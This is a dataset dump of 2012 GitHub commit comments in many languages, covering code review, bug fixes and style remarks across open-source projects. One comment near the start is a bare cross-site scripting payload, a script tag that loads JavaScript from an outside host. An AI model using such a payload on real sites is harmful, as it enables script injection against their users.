labofsahil/github-event-dataset-2012 huggingface dataset:
Ah non , enfaite le sort dans affSpell a le même classmask que le sort overrideSpell.
Si je part de ce principe : 

        if (overrideId == 92283) // Frostfire Orb Override
                affspell = 82731;

est pas correcte c'est le sort 84765 qui est remplacer... 
Donc a verifier
we were moved to www.assembla.com if you want help us you r welcome ;) 
it's private repository tell me your username and i add you
@Reamer 
>Which time has mangos (I think system time)? All are on one system, i have daily freezes

Yes, mangos has system TZ.
http://pastebin.com/fFZqkVsc
хм стоп :) сейчас попробую один скрин залить, скорее всего он это дело прояснит :)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
You might consider clarifying that "year" refers to a [model year](http://en.wikipedia.org/wiki/Model_year), not a calendar year. Similarly, you should clarify that "car" refers to a specific individual car for sale.
Configured git after reinstalling OS.
Should say catq! Otherwise I like this. ANd I like "catq" better than "catn".
s/distribution/decompositon/
Using `class_eval` is a performance optimization. Mangling method names is a sin.
jsonp, for x-domain requests
"Add-on"
r+ tests pass, looks good! [squash the commits into one](http://gitready.com/advanced/2009/02/10/squashing-commits-with-rebase.html) and I'll merge it in!
The issue is triggered when giving annotated tag for 'git subtree pull' command like below

  git subtree pull -P <subtree_dir> <remote_repo> refs/tags/annotateg_tag --squash

This will store the wrong sha1 key of the annotated tag instead of commit sha1 key to squashed message. The squashed commit is stored in the message on the line 'git-subtree-split: <commit sha key>'. 

Since I just started to learn how git works, I made this quite dirty fix for now. I'm already preparing new release that has fix for this issue but also adding some new features such as status report, etc. For this, I took the latest fork updates as starting point for development.

The subtree approach is really unique and definitely more convenient than submodules that are difficult to use from user perspective. Especially when using nested submodules. Lets just hope that subtree is taken seriously and will be part of the official Git release. Of course it would require some things to be done more elegant way than the current git-subtree is able to do.

  Petri
What about the one found in restClientDidLogin?
It would be good to specify the units here.
I assume that should rather be ```switch(areaKm)``` ?
looks a-OK to me!
4chan x only works on 4chan too. Linkify Plus however, even edited, refuses to work there, so I'm using this as replacement.
applications page too
Можно заменить
```
$array_keys = array_keys($menu_array);
$start_index = $array_keys[0];
$end_index = $array_keys[count($array_keys)-1];
```
на
```
$start_index = key($menu_array);
end($menu_array);
$end_index = key($menu_array);
```
In the Frame control we handle any internal navigation, and IMO this is the place to decide whether to forward the navigation to a new tab.
OK, problem fixed.

The first problem (not working at all) was due to my performance optimizations earlier, I had missed a few spots where I needed to make some changes. This has now been fixed.

The second problem (only pushing half the chest) is a bug in the original DropChest code, but was easily fixed.

The test cart scenario I described now works as expected. I placed a few more chests along the cart, all with PULL filters, and they all pulled the correct type of item, until they were full.

However, I also noticed that powering a chest with redstone also just dropped out half the chest on the ground, I'll try to fix that right away.

Vennlig hilsen

Lasse Vgsther Karlsen
lasse@vkarlsen.no

On 27. jan. 2012, at 17:09, sorklin wrote:

> It simply doesn't work.  Also we noticed that the suck was delayed, it would take a good amount of time to actually suck the items.  I didn't test it rigorously, just an observation.
> 
> --- 
> Reply to this email directly or view it on GitHub:
> https://github.com/lassevk/DropChest/commit/200bbe49ae3ac4476ffd12d4108791e8d382ed08#commitcomment-908593
Can we please get a new release with this fix?
え、これはrmdir()関数が入ったらの話ですか？
今はまだ入ってないですよね？
запиши еще себе и повесь ОГРОМНЫМИ буквами на стене. ЕСЛИ ТЫ СОЗДАЛ МИГРАЦИЮ, УБЕДИСЬ ЧТО РАБОТАЕТ RAKE DB:MIGRATE И RAKE DB:ROLLBACK!!!
turhaa säätöä tässä?
Yeah rails has basic caching out of the box, it's pretty neat. We'll probably want to look into something fancier like memcache but that involves changing just one line (in config) so whatever. 
OpenStruct is a gem we use to convert the JSON results from 1BA to Ruby objects (thanks Dave Remy). 
I don't know what a real 1BA key looks like, but I'll definitely update the regex when we get one. Or maybe we'll just remove that part because we don't actually need the API key.
I think the next step is to cache arrivals and departures for 1 minute or so, in anticipation of multiple concurrent users. But I still believe creating our own stop and route database is a more robust solution.
i think this import is unused now. I'll fix that after merging.
Oups. Ugly kludge is ugly.
ive already added the sql files
...what
As discussed in the forums, seems to be better to place this within the messages script; The Calendar screen is not used by everybody (note there is a globals option to hide the calendar and use the patient search screen in place of the calendar), so wouldn't assume that the calendar is the "central" screen. From a workflow perspective, as a physician, in EMRs the main screen generally tends to be the "Message screen". And I am guessing this is also the case for RN's, receptionist, billers, etc.
My thoughts are to change the title of the Message screen to "Message Center" and place a Reminders section at the top (your widget) and the Messages section under this (your widget works nicely for this since it is expandable/collapsable). I am willing to bet that this "Message Center" script will become the focal point of OpenEMR when not looking at patients (in that case, the patient summary screen is the focal point); it will also make sense to migrate Authorizations there and then at some point create a UI that actually combines them all (still keeping the backend separate data structures though).
This is just my opinion; very curious what others think
(I repeated this comment from last review, because the review comments can no longer be seen by others)
Hi!
Sorry, i am newbee  in github.
I want to create OpenELEC fork for russian-speaking users.
This is ugly patch. Add Russian language support in screen keyboard.
XBMC developers not accept this.
Author: Alexandr Surkov (hd-lab).
Can't reproduce the problem. Do you have the problem on OS X? — I'd assume it this path, though: https://github.com/polarblau/vertebrae/blob/master/test/jasmine/support/jasmine.yml#L8

Maybe you could try a leading slash?
you should register this error handler IMO. It is less useful than the core one and it is not the purpose of the RestController stuff
Don't think HOMEPAGE is the originally for this.
SERVER or DOMAIN should be put here.

HOMEPAGE example: www.travian.com
SERVER/DOMAIN example: s1.travian.com
For rendering static templates we should use the direct_to_template Django generic view
Desktop service command to call into platform-specific global progress bar service.
Unfortunate, but hey, we are all doing our first steps in Git ;).
So that's probably some of the problems I have been having.
And thanks for the history class, I didn't know this story before :)
Две отдельные строки.
yuck.  fixed it.
Yes, I think that the upload script is the only problem. The upload was done manually for the 2.6.5 release. It's not that onerous to do the upload manually, but I guess we should fix the script.
When using Capistrano, this line throws 
`method_missing_with_variables': undefined method `app' for #<Capistrano::Configuration:0x00000103883f20>`
if I don't write
`set :app, MY_APP_IP`
in setup.rb. That's right, it won't pick up `role :app, MY_APP_IP` I have to set each desired variable...the defaults are ignored for some reason.

Great work btw, I'm working on getting everything up and running on my side, since this sort of straightforward stack config would be very useful. I'm not editing my own fork at the moment, so that's why I'm commenting for right now.
Fallo aeropuertoDestino esta en aeropuertoOrigen
I don't mean preparing all the scripts for sourcing. In ideal situation there should be one way of doing shell scripts for the project. Preferably POSIX-compilant sh-way. Nothing really critical or so, but suggestion "embedded" in commit's title is something worth thinking about.
Looks good, as long as we acknowledge that statusMessage expects HTML not text.
La moitié était pas hors sujet, et je ne sais pas si le prof va nous dire comment faire le cahier des charges ...
Et j'ai mis ça parce que je l'ai recherché pour le projet polyjoule pour en commencer un, donc j'ai fait un copier-coller ... (de plus, ça fait pas de mal de se documenter pour pouvoir le commencer plus rapidement une fois la réunion passée sachant le peu de temps qu'on a)
For the moment it can be removed.  Generally this is only needed for exceptions.
This is probably not sound. The event is fired when a user clicks on a spam-button? If that's true: method only applies when a new comment is detected to be spam by the plugin itself. If a comment is marked as spam by the user, it is always deleted or moved to the recycler.
This should be automaticall not expanded, emerge.sh adds every file to cvs without expansion.

Which is why i disn't really tell anyone ;) your worfklow should be independent from this. Thanks for the heads up, i'll check if it works as intended!

Not sent without my eyePhone.


On 11.01.2012, at 16:11, onli <reply@reply.github.com> wrote:

> @ophian headers $Id$ expansion?
> 
> --- 
> Reply to this email directly or view it on GitHub:
> https://github.com/s9y/additional_plugins/commit/e07d90530555f0ae211eb160e5d1e35549f814c2#commitcomment-857311
>
Honestly,  I'm wondering if this belongs in postgresql-libpq.   Maybe it does,  maybe it doesn't.   I'll have to think about it.

Also, why aren't you using escapeByteaConn function already provided by libpq?
Hi Madhu,

Thanks for the response. I used the following curl program to to send the data and received an 800 error code from the server.

        curl = curl_easy_init();
        if(curl) {

        curl_easy_setopt(curl, CURLOPT_URL, "http://auth.uidai.gov.in/1.5/public/1/2");
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, authbuff);
  
        res = curl_easy_perform(curl);
    
        curl_easy_cleanup(curl);

Can you please check and let me know if any issues with this program ? Also I would like to know if you did any other changes in the github C source code. FYI, I am calling the biometric api instead of the demographic api. 

Thanks for your suggestion in advance. 

Regards,
Deepak
In Group::ResetInstances:

```cpp
        if (method == INSTANCE_RESET_ALL)
        {
            // the "reset all instances" method can only reset normal maps
            if (entry->map_type == MAP_RAID || diff == DUNGEON_DIFFICULTY_HEROIC)
            {
                ++itr;
                continue;
            }
        }
```
Your project is aimed as much as possible to break a kernel and then to collect donations
Can you add a mention to #1547 in here somewhere?
This allows the user to pass in his own version of Less.JS instead of using the bundled one.
My fault I think.  Looks like I missed converting those to complex<double>.  Fixed now.
This isn't working ?
We don't have everything in one file, we have everything in one of two files. The main style.css should have styles that are needed for all sites or more than one site (that is, as soon as two sites need the same css, they share it by having it in that file, which means all sites have it). And the other file should have styles that are intended only for that one site.

As far as "begs for problems along the way" these are problems we will have and need to solve but they are not solved by having a bunch of separate files and too many http requests (nor a complex build step that generates a unique stylesheet for each site, meaning again too many http requests and less caching benefit). The solution is to have a single file that is well organized into styles that can be used across multiple sites. Yes, that does take a bit more effort, but it accomplishes what is truly needed. When we come up with a piece of design, if it has potential to be used on sites other than the site or type of site for which it was originally developed, neither the classname or the filename should stand in the way of sharing that style without duplication. This inset-link is a good example of this, and is exactly the reason I found this commit and commented on it. I went to use it on the plugins site but wasn't able to because it's tied to the comments-link-top class and is inside a file called blog.css. Neither work for the use case, but the inset-link feature (as a design feature) should not be so limited, as there's nothing blog specific or comment specific per se about it.

It looks great, btw, which is why I'm so anxious to be able to use it on the plugins site :D
Hi there! First, thank you for making this very useful gem!
I've noticed that `restart` causes problems if ``wait=false`` is passed. Since it doesn't wait for the process to actually stop, the `start` command often doesn't get accepted by supervisord since the process is "still running". Thus, the process gets stopped, but not started again. But I don't have any ideas how to fix that while preserving the ``wait=true`` behaviour. :/
It does this on Firefox 9 on Win 7.
http://i.imgur.com/K83Gd.png

:(
방식이 별로라서 사용 안함
I Take That Back!

If I change it to %d, the date field becomes not editable. Was already thinking about my snarky commit comment for fixing it. Biting my tongue now and leaving it as is.
L'utilisation de guice est sympa, mais je le prendrai pas je pense.
J'ai peur que cela puisse rendre l'utilisation plus compliquée (et je sais pas si ça marche bien sur Android, et une appui android utilise OpenDataNantesApi :) ).
Should we also add a compat layer for TileData as without it all plugins using it would break. Its something we can remove in a future version after an API version bump. What do people think?
So, just to check that I've got this right.

We would input 35 as a weight on a question. If the max_value for the crtierion is 100 this will give us a weighting factor of 35% of the total possible mark yeah?
Stuart, can you add a unit test case for this one and I will then pull it to master as the change for https://issues.jboss.org/browse/REMJMX-5
wrong inline-css syntax
Core


		if (!"".equals(containerClass)) {
			containerDef.setBeanClassName(containerClass);
		}
		else if ("".equals(containerType) || "default".equals(containerType)) {
			containerDef.setBeanClassName("org.springframework.jms.listener.DefaultMessageListenerContainer");
		}
          ...
@Whyzor:

That's odd about the PM'ing. I have all the PM options turned on and have verified my email. I've received other PM's from other Github users as well...

Concerning the 3.0 kernel port. I don't have or ever worked on a 3.0 kernel port. There is, however, a msm-3.0 kernel that is available on Code Aurora. That can be found here: https://www.codeaurora.org/gitweb/quic/la/?p=kernel/msm.git;a=tree;h=refs/heads/msm-3.0;hb=refs/heads/msm-3.0
causes a php error in https://github.com/sonata-project/SonataPageBundle/blob/master/Admin/PageAdmin.php#L250
That's the same error, but this does fix it so I'm not quite sure what to tell you. My guess is that your app on that machine is still somehow using the old version of the plugin. Go into `vendor/plugins/redmine_status/init.rb` and make sure the file has these two lines.

What's the full stack trace you got when you did that?
Great idea, I like having that in a single call.
Nice! Should we add this file to MANIFEST.in?
aw, what's ofxPFMImage? :) you don't trust FreeImage...?
The format of the annotation is `@covers function_name` (or `@covers class::method`) and not `@covers function_name()` (or `@covers class::method()`).
@cjmaclellan 

the raw data is saved as a matlab file with echo times, real, and imaginary data
index order needs to be reshaped to (echo,x,y,z)
Well...that comment came out shitty.

I added a default close operation
I've commented about the different opinions about reasonable LED behaviour before (some people get annoyed if there's _any_ charging LED), so commenting on the technical aspects instead:

As you're using your own releasetools, you could e.g. have your own liblights (named e.g. lights.umts_sholes.so) and replace lights.sholes.so with your file when constructing the final zip file. That'd be a smaller code fork than you have currently (liblights is much smaller than charge_only_mode).
Not sure why I got this email

Kind regards,
-ShriKant

Sent from Samsung Mobile

 Iwein Fuld <reply@reply.github.com> wrote: 

ewwwwwwwww! this is wrong on so many levels...

--- 
Reply to this email directly or view it on GitHub:
https://github.com/xebia/REST-benchmark-reference-implementation/commit/8ccd94b6340a348ec7e425e17af9a2afe875c974#commitcomment-831024
i'll add it as new package then ... any advice how to name it? eg. "skammer_css_color"
shouldn't be plural
Shindo is setup such that any one time setup can just go inline before/between tests (there is a construct but it isn't really needed unless you need something repeated before each test).
Would you mind adding short javadoc what the children of this class are meant to convert from and to?
interesting that this works with easy_install.  I'm going off the distribute docs which doesn't  imply a project dir would work, unless I'm missing something?  http://packages.python.org/distribute/setuptools.html#dependencies-that-aren-t-in-pypi

maybe it's informally supported?

as for pip over-reaching distribute here, I'm not sure.    I'd like to hear other maintainer opinions, but those are scarce right now.
Should be `oauth` not `oath`.
Stop immediate propagation so the hide handler is not called.
Should possibly remove/update these.
`X509CertificateCredentialsToSubjectPrinciplalResolver` needs to be a proper javadoc link
Always use "override" so that you get compilation errors when you remove methods on the interface.
For 1-line methods the recommended format is: def ... = : Type = ...
escalate
Is this correct?
1, "second"
cleaned up in next push
use context dispatcher instead
`SupervisorStrategy` is not currently `private[akka]`, and I introduced these methods specifically to make it possible to meaningfully subclass it. The comment at the top makes it very clear who is NOT expected to roll their own.
true, that would avoid subsequent equals checks. Like this?

      if (currentRoutees ne consistentHashRoutees) {
        if (currentRoutees == consistentHashRoutees) {
          // other instance, same content, no need to re-hash
          consistentHashRoutees = currentRoutees
        } else {
          consistentHashRoutees = currentRoutees
          consistentHash = ConsistentHash(currentRoutees, replicas)
        }
      }
what is up with this?
First ask then await?
I do see the similarities in memoize and reify. As for whether or not it's over-engineered, you must first ask two questions:
- How expensive is recalculating the dpi? I doubt much, at least compared to doing similar for a graphics instruction for example)
- What is the probability that the dpi will change? Not very. Most users will probably expect to have to restart an app for DPI setting to take affect anyways....

IMHO, for the use case, I'd say it's over-engineered...
Maybe zoom in on one of the new vertices and show that it is equi-distant from the three verices from which it was made (it is, right?)
Yup, that would be slightly cleaner.
I did originally but this is easier and it's a unit test so the environment is controlled.
Better scala now?
actually I've got something else incoming, please disregard
cosmetic: space between if and ( (also the others further down)
This looks rather shitty in GUI. It aught to at least be Default (PulseAudio).
тут тоже
```php
Yii::app()->setGlobalState(Yii::app()->getModule('yupe')->menuCache, YII_BEGIN_TIME);
```
don't forget about prints
^^ same as above:

As we talked about: lets factor these giant inner functions out into an observer class, and differentiate the types of observers the simulator takes. Things to be weary of:

giant functions-inside-functions
'unused variables' in function definitions
repeating big chunks of code with one var changed
interval_job_flows seems unnatural to me, but i cant think of a significantly better one right now... lets brainstorm together?
Huh. I'm guessing this is our passthrough code and not `optparse` itself:

```python
$ python
Python 2.6.7 (r267:88850, Dec  2 2011, 20:27:26) 
[GCC 4.4.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import optparse
>>> parser = optparse.OptionParser()
>>> parser.add_option('-M', dest='steps', action='append')
<Option at 0x7ffcda768950: -M>
>>> parser.add_option('-R', dest='steps', action='append')
<Option at 0x7ffcda768b90: -R>
>>> parser.parse_args(['-M', 'foo', '-R', 'bar', '-M', 'baz'])
(<Values at 0x7ffcda768dd0: {'steps': ['foo', 'bar', 'baz']}>, [])
```
This is safe to do now.
Please use standard Rails validations, add your own error messages to them if you want.
no. ``__DIR__`` will be ``vendor/behat/behat/bin`` as it is where this file is. What you have in ``bin/behat`` is only a symlink or a proxy file, not this file.
Please keep with the coding style and place those `{` on a new line (same for the other functions added to `Tileset`).
Hmmm, this test would pass even if handler is called in the next turn. IOW, I think this is effectively the same as the very first test case.  It's actually impossible to test that `handler` is *never* called, but it seems like it'd be good enough to put the assertion in a setTimeout, similar to the test case after this one.
This is missing an ```@param``` directive. Yes, I know it seems pretty simple, but since next_model isn't even mentioned in the description of the function, the reader must guess what the next_model is. 

More specifically, I think I can guess from the function name that tallyOrder accept a pointer to a model and finds any offers and requests in the commodity market coming out of that model. Is that right? If that reasonable guess is not correct, it may be worth adding more to the description along with the ```@param``` directive.
Empty is also wrong (`'0'`). You probably mean `'' == $delimiter`
because of the 

extern "c" {

....
@galaxas0 Anyone with "repo collab" status has the ability to push to the main repo, merge pull requests, etc.
Old code does not reflect what new code should look like.
We should be careful with the scenario where user created an environment  from a branch already called `all` then `pgvm` will create a env in `$pgvm_home/enviroments/all`. 

This is is not a problem at this moment, because there is not a branch called 'all' in postgres' repository.
What if ctrpp.exe is not on the path? Shouldn't there be some kind of manual override?
I'd make this only 3.
This is wrong, afaik it must **not** be static.
shouldn't we decrement it somewhere ?
@thouis The original signature were wrong as well :) malloc should return void*, not char*. The char* cast is not only useless but dangerous (as it hides potentially missing declarations) in C.

I don't care much about additional allocation cost, but about the increased support/additions to numpy namespace.
запятые не по стайлгайду. здесь и ниже
э, не. по стайлгайду правильный исходные вариант
In this case you should use `Active Record`. We only use `ActiveRecord` when we refer to the `ActiveRecord` Ruby module.
I'm doing this
let me try to indent more.
This shouldn't be public unless it must be, which doesn't seem to be the case.
It's `scalaArgs` not `args`
Add a code example of `If` node construction and pattern matching with this value.
Sure. Should I apend a commit to this pull request or create another one?
is this a def because it may change between line 737 and 749? or because a lazy val would be less efficient? since evaluation order is important, a comment to explain which it is would be useful here, i think
Perhaps make the redis url env var more generic?
why call this imshow? each sunpy object will have a show command but they will not all be showing an im so this would make it confusing.
I just manually took them out of the ETHZ archive. But sure.
Why not the following?

    resampled_map.shape == new_dimensions
when you do evalf(1) you should always get a precision more than 1 but in case this ever changes to give a returned precision equal to the requested precision I would recomment changing this to evalf(1) and then checking the precision and *not* making a decision based on a number that could no be calculated with precision (i.e. foo._prec == 1):

```
is_real = self.is_real
if is_real and self.is_number:
 n = self.evalf(2)
 if n._prec != 1:
   if n > 0 etc....
if is_real is False:  <=== you can safely add this line, too
 return False
```
I've added the default `{}` argument. I've kept the inputs/outputs section. I prefer this more. If you disagree strongly let me know and I'l change it.
This doesn't follow standard use of SymPy args.  

Each sympy Basic object is a node in a tree.  That node has a type (`TensorType` here) and a bunch of children which we call `args`.  Mathematical properties are then determined through computations on the args.   In this style your TensorType class would be written something like this (skipping `kw_args` out of laziness).

``` python
class TensorType(Basic):

    def __new__(cls, index_types, symmetry):
        assert symmetry.rank = len(index_types) + 2
        return Basic.__new__(cls, index_types, symmetry)

    index_types = property(lambda self: self.args[0])
    symmetry = property(lambda self: self.args[1])
    types = property(lambda self: sorted(set(self.index_types), key=lambda x: x.name))
```

I'm sure I've made some errors above but I hope that it conveys the general message. 

By doing this general SymPy utilities can more effectively inter-operate with your code in the future.
What you might turn this PR into is a note in `expand_multinomial`'s that says that non-integer exponents on powers with Add-bases can be expanded to a given order, with series:

```

>>> series((1+x)**.3 + (x+y)**.3, x, n=2).expand()
1 + y**0.3 + 0.3*x + 0.3*x*y**(-0.7) + O(x**2)
```
It can stay in this file.
I personally find it more intuitive. I would suggest a flag return_sum that defaults to True. Not a big issue either way though
I see that you removed ```__str__``` should ```__repr__``` be removed as well?
I think instead of using all(s.is_commutative for s in self.free_symbols) i should use 
all(getattr(t, 'is_commutative') for t in self.function.args) this will ensure non commutative object is also checked. 
but
I am confused in non-commutative objects. I am not able to think of an example which contains non-commutative object, if i am able to get an example than i can further check my code. So please guide me through for non-commutative objects?
Perhaps you are misunderstanding itemgetter or I am misunderstanding you. For the single item, I actually like the lambda approach. For multiple items, the itemgetter is perfect. Why are you not likeing the fact that the itemgetters don't compare equal? Here it is in action:

```
>>> from random import randint
>>> l=[[randint(1,100) for i in range(5)] for i in range(5)]
>>> l
[[10, 40, 81, 88, 39], [36, 93, 17, 82, 94], [69, 54, 75, 48, 89], [5, 35, 88, 9
1, 76], [51, 76, 61, 24, 6]]
>>> l.sort(key=itemgetter(2,3,1))
>>> l
[[36, 93, 17, 82, 94], [51, 76, 61, 24, 6], [69, 54, 75, 48, 89], [10, 40, 81, 8
8, 39], [5, 35, 88, 91, 76]]
>>> [(x[2],x[3],x[1]) for x in _]
[(17, 82, 93), (61, 24, 76), (75, 48, 54), (81, 88, 40), (88, 91, 35)]
```
Do you think this file should be a course unit test or a course membership unit test?
What exactly should be enclosed in curly brackets? As a user I think it's exactly `nillable = 1, minOccurs=0, maxOccurs = 2`. Is it right? Can I use `nillable` w/o any others? What are possible values for `nillable`?
Oh yeah, i see. I didn't realize the association was doing an actual create. I understood the difference of build vs create to be that build didn't persist anything to the db, even the new association object.
When using PDO, it is both more performant and more secure to use bind variables, e.g. use WHERE `key` = ? and then bind the value. In the current case, $key could be exploitable if it contains quotes.
"TestCase.good_test#END#TestCase.bad_test#END#".split("#END#")
['TestCase.good_test', 'TestCase.bad_test', '']

good_test didn't make a violation and ended gracefully. When a violation happened in bad_test we read through pipe and read it all and want the last  test id reported.
in detail here: http://eventmachine.rubyforge.org/EventMachine/Connection.html
and I don't think that any future-would-be developer could touch this code without basic knowledge of eventmachine methods :)

EM-Synchrony is just a wrapper around some eventmachine methods/classes to allow zero-callback flow of a program. This is all explained here:
http://www.igvita.com/2010/03/22/untangling-evented-code-with-ruby-fibers/
Mitgliedern
On 5/1/2012 1:35 PM, Jeff Balogh wrote:
>> @@ -90,7 +90,7 @@ def message_validator(request):
>>           return request.errors.add('body', 'body', msg)
>>   
>>       # These are the keys we'll accept for messages.
>> -    VALID_KEYS = 'title', 'body', 'actionUrl', 'replaceId'
>> +    VALID_KEYS = 'title', 'body', 'actionUrl', 'replaceId', 'cryptoBlock', 'site'
> If I'm storing an encryption key for this user, do I need to store an origin as well?
>

Yes, that's what the "site" is for.

When the requestAuth header goes through, the client generates the 
encryption key and hmac value for the remote site to use. They're 
returned with the URL for the remote server to post to.

On the remote server, the site calls the encrypt routine passing it the 
title, body, actionURL, with the "site" included in the returned crypto 
block, and included as part of the HMAC signature.

The decrypt routine uses "site" to look up the encryption key and hmac 
sig to use, compares the generated signatures, and if they match, 
decrypts the string.

Granted, as far as I'm concerned, "site" is just an index value. I'm 
using the hostname of the remote service because I figured it'd be 
easier for folks to work with, but it could be any string value.
Shouldn't it be 'else' rather than 'elseif'?

On Sun, May 20, 2012 at 7:23 AM, Matteo Parsani <
reply@reply.github.com
> wrote:

> > +  tau(6) = (b'*diag(c)*A*diag(c)^2*c - 1/24)/6;
> > +  tau(7) = (b'*A*diag(c)^3*c - 1/30)/24;
> > +  tau(8) = (b'*diag(c)^2*A^2*c - 1/36)/2;
> > +  tau(9) = (b'*diag(A*c)*A^2*c - 1/72)/1;
> > +  tau(10) = (b'*diag(c)*A*diag(c)*A*c - 1/48)/1;
> > +  tau(11) = (b'*A*diag(c)^2*A*c - 1/60)/2;
> > +  tau(12) = (b'*A*diag(A*c)*A*c - 1/120)/2;
> > +  tau(13) = (b'*diag(c)*A^2*diag(c)*c - 1/72)/2;
> > +  tau(14) = (b'*A*diag(c)*A*diag(c)*c - 1/90)/2;
> > +  tau(15) = (b'*A^2*diag(c)^2*c - 1/120)/6;
> > +  tau(16) = (b'*diag(c)*A^3*c - 1/144)/1;
> > +  tau(17) = (b'*A*diag(c)*A^2*c - 1/180)/1;
> > +  tau(18) = (b'*A^2*diag(c)*A*c - 1/240)/1;
> > +  tau(19) = (b'*A^3*diag(c)*c - 1/360)/2;
> > +  tau(20) = (b'*A^4*c - 1/720)/1;
> > +elseif disp('Order condition for p>5 not implemented')
>
> I have corrected it. Before I took the disp command from oc_butcher....
>
> On 19 May 2012 23:33, David Ketcheson <
> reply@reply.github.com
> > wrote:
>
> > > +  tau(6) = (b'*diag(c)*A*diag(c)^2*c - 1/24)/6;
> > > +  tau(7) = (b'*A*diag(c)^3*c - 1/30)/24;
> > > +  tau(8) = (b'*diag(c)^2*A^2*c - 1/36)/2;
> > > +  tau(9) = (b'*diag(A*c)*A^2*c - 1/72)/1;
> > > +  tau(10) = (b'*diag(c)*A*diag(c)*A*c - 1/48)/1;
> > > +  tau(11) = (b'*A*diag(c)^2*A*c - 1/60)/2;
> > > +  tau(12) = (b'*A*diag(A*c)*A*c - 1/120)/2;
> > > +  tau(13) = (b'*diag(c)*A^2*diag(c)*c - 1/72)/2;
> > > +  tau(14) = (b'*A*diag(c)*A*diag(c)*c - 1/90)/2;
> > > +  tau(15) = (b'*A^2*diag(c)^2*c - 1/120)/6;
> > > +  tau(16) = (b'*diag(c)*A^3*c - 1/144)/1;
> > > +  tau(17) = (b'*A*diag(c)*A^2*c - 1/180)/1;
> > > +  tau(18) = (b'*A^2*diag(c)*A*c - 1/240)/1;
> > > +  tau(19) = (b'*A^3*diag(c)*c - 1/360)/2;
> > > +  tau(20) = (b'*A^4*c - 1/720)/1;
> > > +elseif disp('Order condition for p>5 not implemented')
> >
> > This line doesn't seem to make sense.
> >
> > ---
> > Reply to this email directly or view it on GitHub:
> > https://github.com/ketch/RK-opt/pull/28/files#r849815
> >
>
>
>
> --
> Matteo
>
> ---
> Reply to this email directly or view it on GitHub:
> https://github.com/ketch/RK-opt/pull/28/files#r850053
>
Why those two lines are commented?
actually, that doesn't seem to work as I still want to return the first object if there is no asset.
It would've been nice if I'd noticed this before the pull request was closed, but here goes: the log message is misleading here, since we're no longer using the global actor registry for lookups.
Well, even if you're sitting on /en-US/dashboards/revisions you could still send an ajax request for `/de/dashboards/revisions?user=teoli` right?
I don't like that for two reasons:

1.  Submission happens via AJAX (for the sake of speed), so we'd have to break AJAX to do the redirect stuff
2.  The other text on the page would be in the foreign locale, which a reviewer wouldn't want to deal with.  A reviewer shouldn't have to switch languages to see changes in that given language.
It's not that bad as it seems! :D

Actually this is the django-tastypie way We are not directly talking to the db, it's just the syntax which is the same ;)

http://django-tastypie.readthedocs.org/en/latest/resources.html#basic-filtering
Remove those and also removed some other extras in the settings files
Oops, sorry. It would be great to have something like

```
cmd = 'git add -A . && git commit %s' % commit_args'
```

That way if someone wants to create a commit in their editor they can and if you want to pass in `-m` you can too
This mechanism is currently implemented as `$cache->destroy('sql', $table_name);`. The destroy method should be added to the cache service as a proxy. If one parameter is specified, the call should be redirected to the data cache, if two parameters are specified and the first parameter is 'sql' the call should be redirected to the sql cache. You have to add a new method for destroying table data to the sql cache interface (and you probably have to come up with a generic implementation which might be tricky).
What was module_basename previously? Why is only ucp_pm changed?
Back to a noun.
merge direct, ceva gen: `key=lambda a: a.timestamp`
What is the particular reason in renaming this?
Yes, such a request has already been made the YUI team.  They had already made an attempt to obviate our need to `delete YUI.Env._renderedMods` but it didn't quite work.  Regardless, the comment should have `HACK` in it, since it really is a hack to work around a bug in the YUI loader.
shouldn't we keep consistent headers?
Yes - rename it here in index.html as well as the actual .html file
remove code rather than comment (we can look at code history to see removed code)
This makes it sound like there's *always* a DimCoord on each dimension.
why ndim is needed there?
Ditto, don't use ``list`` as a variable name.
clean up the Q() objects
Transactions, anyone?
This is explicitely tested in urlpatterns_reverse tests (test_resolver_repr), so hopefully it should not break anything.
I just saw i had anyhow one more mistake which i will correct. Thank you for reviewing this allready.
so i am adding here now 

return array_values (
            array_filter($assetNames, function ($assetName) use ($filterExpr) {
                $assetName = ($assetName instanceof AbstractAsset) ? $assetName->getName() : $assetName;
                if($filterExpr['include']) {
                    return preg_match('(' . $filterExpr . ')', $assetName);
                }
                return !preg_match('(' . $filterExpr . ')', $assetName);
            })
        );
looks like you don't use heroku gem hero or I'm missing something
FYI, GHC treats

```haskell
f x = ...
```

different than

```haskell
f = \x -> ...
```

for optimization purposes. In particular, it only inlines functions that have been applied to all it's syntactically visible arguments.
At first, Expectation was subclass to Filter, but then I figured, Expectations is created by users(foreignkey to user), and they also have a name(label_name). Both are present in Label.
Should have said.... This is required because the Viewport may also have changed since UpdateTouchScale() was last called.
We trust the regexp.
Add a test case for an ImmutableObject that isn't in the decoder?
I appreciate your work here, but usually we use `git blame` and `git log` to assign credit.
you probably mean ` "--with-gmp=#{Formula.factory('gmp').opt_prefix}"` or something, right?
Have you checked that is actually linked with gmp?
It stops you from eg. uninstalling something while you are installing it.
>Aye but won't this happen for all future versions of the CLT (unless we have a version somewhere)?

To clarify, we would of course update the compiler versions in `xcode_version` to detect newer CLT versions accordingly.

I wouldn't have a problem with changing the `xcode_version` behavior but as I mentioned way up top we have to maintain compatibility with external formulae, and changing it to return an empty string or nil \_will_ break things. So even if we use the proper CLT version from below, `xcode_version` still has to report it.
I think that we should modify the butterworth function to accept (optionally) a 2D array, and do this loop inside the function. It would enable factorizing the filter creation code.
Same here with $result->fetchAll()
rename has been removed - right?
Je pense qu'on devrait laissé "root" et "" puis a chacun de changer selon ses besoins. non?
No need to declare if it's unused.
Why do you need to send down the HTTP status code in the JSON?
Need to think through some examples of this.  This is TOTALLY here for discussion.
Yeah. Something more fluent would be nice. We’d need to be able to do it in a way that defers execution, though. So, GetCollection couldn’t actually
 touch table storage. I’d have to research that a bit, not sure how easy or not that would be to pull off.

 I agree that the “GetRange” call should be changed to reflect the naming convention with the two types of range queries that it now supports. I didn't want to break any clients, though, as I assume someone is using GetRange already. We could [Deprecated] it and add the new GetPartitionKeyRange.

 We don’t support ranges on both at the same time, but that wouldn’t perform all that well anyway, and we haven’t run into a need to do this yet that I’m aware of.
It seems odd that the two columns don't scroll independently in portrait. But I suppose to do that would require that they scroll independently in landscape too, or require a lot of shenanigans in the capability to rearrange the dom on orientation change.
Might be good to add a line here (or in the JSON file?) documenting the fallbacky search pattern
You need to translate this as well. Thanks.
This occasionally flickers when re-opening the dialog. Not sure if there is anything we can do about that, but it would be nice if we could fix.
